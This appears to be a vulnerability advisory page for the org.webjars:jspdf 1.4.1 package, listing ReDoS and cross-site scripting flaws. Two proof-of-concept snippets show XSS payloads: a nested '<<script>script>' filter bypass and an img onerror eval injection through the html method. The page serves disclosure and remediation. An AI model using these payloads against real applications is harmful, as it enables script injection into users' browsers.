org.webjars:jspdf@1.4.1 vulnerabilities

  • latest version

    1.4.1

  • first published

    11 years ago

  • latest version published

    6 years ago

  • licenses detected

  • package registry

  • Direct Vulnerabilities

    Known vulnerabilities in the org.webjars:jspdf package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Regular Expression Denial of Service (ReDoS)

    org.webjars:jspdf is a WebJar for jspdf.

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the addImage(), html(), and addSvgAsImage() methods. An attacker can occupy excessive CPU by supplying a malicious data-url.

    How to fix Regular Expression Denial of Service (ReDoS)?

    A fix was pushed into the master branch but not yet published.

    [0,)
    • M
    Regular Expression Denial of Service (ReDoS)

    org.webjars:jspdf is a WebJar for jspdf.

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). ReDoS is possible via the addImage function.

    How to fix Regular Expression Denial of Service (ReDoS)?

    There is no fixed version for org.webjars:jspdf.

    [0,)
    • M
    Cross-site Scripting (XSS)

    org.webjars:jspdf is a WebJar for jspdf.

    Affected versions of this package are vulnerable to Cross-site Scripting (XSS). It's possible to use <<script>script> in order to go over the filtering regex.

    PoC

    import jsPDF from "jspdf";
    
    var doc = new jsPDF();
    
    let html = `
    <p id='test'>a</p>
    <<script>script>document.write(window.location);</</script>script>
    `;
    doc.fromHTML(
      html,
      0,
      0,
      {
        width: 100 // max width of content on PDF
      },
      function(_) {
        doc.save();
      }
    );
    

    How to fix Cross-site Scripting (XSS)?

    There is no fixed version for org.webjars:jspdf.

    [0,)
    • M
    Cross-site Scripting (XSS)

    org.webjars:jspdf is a WebJar for jspdf.

    Affected versions of this package are vulnerable to Cross-site Scripting (XSS). It's possible to inject JavaScript code via the html method.

    PoC

    var doc = new jsPDF();
    window.html2canvas = html2canvas;
    let html = `
    <p id='test'>a</p>
    <img src=x onerror=eval("document.getElementById('test').innerHTML=window.location") />
    `;
    doc.html(html, {
      callback: function (doc) {
        doc.save();
      }
    });
    

    How to fix Cross-site Scripting (XSS)?

    There is no fixed version for org.webjars:jspdf.

    [0,)